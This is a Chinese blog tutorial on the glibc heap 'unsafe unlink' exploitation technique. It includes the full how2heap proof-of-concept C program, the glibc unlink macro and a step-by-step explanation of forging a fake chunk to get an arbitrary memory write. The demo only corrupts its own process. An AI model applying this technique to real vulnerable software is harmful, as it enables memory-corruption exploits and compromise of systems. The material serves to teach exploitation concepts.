您的位置:首页 > 运维架构 > Linux

linux堆溢出学习之unsafe unlink

2016-12-10 14:29 239 查看

示例代码

来源:https://github.com/Escapingbug/how2heap/blob/master/unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main()
{
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n"); free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
}


分析

大致思路

我们有一个全局指针变量chunk0_ptr用来保存malloc的地址,局部变量chunk1_ptr用来保存另外一个malloc之后的地址。 我们假设造成溢出的是chunk0,那么我们就可以更改掉与其连续分配的chunk1的元数据。通过构造fake chunk可以使得chunk0_ptr在unlink的时候,其值被更改,可以被更改为其自己的地址附近,然后通过操纵该地址,即可以操纵他自己所指向的地址的值,造成任意地址写。

前置知识

漏洞成因

漏洞的主要原因来源于以下几个问题:

1. 为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据

2. glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据

3. 在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是
P->fd->bk = P->bk; P->bk->fd = P->fd;
,而在做这个操作之前会有一个简单的检查,即查看
P->fd->bk == P && P->bk->fd= == P
,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了。

基础知识

堆的chunk的结构:

已分配的堆块:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Size of previous chunk, if allocated            | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Size of chunk, in bytes                       |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             User data starts here...                          .
.                                                               .
.             (malloc_usable_size() bytes)                      .
.                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Size of chunk                                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
---------------------------------------------------------------------------------
未分配的堆块:

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Size of previous chunk                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' |             Size of chunk, in bytes                         |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Forward pointer to next chunk in list             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Back pointer to previous chunk in list            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Unused space (may be 0 bytes long)                .
.                                                               .
.                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' |             Size of chunk, in bytes                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


简单的英文我就不做解释了,相信大家都懂。

主要注意的是,mem所指的位置才是我们真正拿到的malloc返回地址,也就是说堆块的meta data在mem之前。

再看unlink:

//unlink代码
#define unlink(AV, P, BK, FD) {                                            \
FD = P->fd;                                   \
BK = P->bk;                                   \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
else {                                    \
FD->bk = BK;                                  \
BK->fd = FD;                                  \
if (!in_smallbin_range (P->size)                      \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
malloc_printerr (check_action,                      \
"corrupted double-linked list (not small)",    \
P, AV);                        \
if (FD->fd_nextsize == NULL) {                    \
if (P->fd_nextsize == P)                      \
FD->fd_nextsize = FD->bk_nextsize = FD;             \
else {                                \
FD->fd_nextsize = P->fd_nextsize;                 \
FD->bk_nextsize = P->bk_nextsize;                 \
P->fd_nextsize->bk_nextsize = FD;                 \
P->bk_nextsize->fd_nextsize = FD;                 \
}                               \
} else {                                \
P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
}                                   \
}                                   \
}                                       \
}


其实不用关心太多,主要在意一个是内存的指针检查,一个是如何赋值unlink的。

具体分析

在最上方贴出的代码示例当中,可以很清楚的看到整个漏洞的利用过程。

首先chunk0和chunk1被连续分配,然后我们打算在chunk0的mem开始处构造一个伪堆块,那么需要的数据主要是bk和fd,我们构造bk和fd的位置,使得找到bk之后再找fd指向全局变量chunk0_ptr所在的位置,chunk0_ptr的值即为P,那么就可以绕过那个检查了,同理,使得fd之后再找bk也指向相同的位置。(fd位于X+2×int64_t,bk位于X+3×int64_t,所以通过减一下就可以使得找到bk之后再找fd或者找到fd之后再找bk指向chunk0_ptr所在的位置了,第一种情况为例,相当于先找到一个X+2*8的位置的值,再把这个值作为地址加上3*8,于是就找到chunk0_ptr的位置了)

由于chunk1找chunk0的起始位置是通过chunk1最开始的部分的prev_size,也就是chunk1的位置减去一个prev_size就可以找到chunk0的位置,所以需要更改prev_size,这样不至于跳到真正的chunk0而是伪chunk0,再更改chunk1的prev free标志位,使得伪chunk0成为一个free chunk

之后就可以进行free了,free chunk1,由于chunk1和伪chunk0连续,且伪chunk0现在状态为free,所以需要unlink 伪chunk0来进行合并操作。

unlink的时候,第一条赋值语句会被第二条覆盖,因为他们都指向相同的地址,那就是chunk0_ptr的地址,所以unlink中只有第二句赋值有效。

第二句赋值使得chunk0_ptr的指向的地址变为了他自己的所在的地址减去3*8,那么chunk0_ptr[3]的所在的地址就是他自己的所在的地址了(这里比较绕,一定要弄清楚所在的地址和指向的地址的区别)。

大概相当于:

|chunk0_ptr[0]<----
____________      |
|chunk0_ptr[1]    |
____________      |
|chunk0_ptr[2]    |
____________      |
|chunk0_ptr[3]    |
| chunk0_ptr    ---
____________


也就是说现在chunk0_ptr[3]和chunk0_ptr是同一个内存里的。

所以最后更改chunk0_ptr[3],也就是更改了chunk0_ptr的值,使其指向了另外的地方,那么再更改chunk0_ptr指向的地方,就更改了另外的地方,这里就可以做到任意地址写了
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: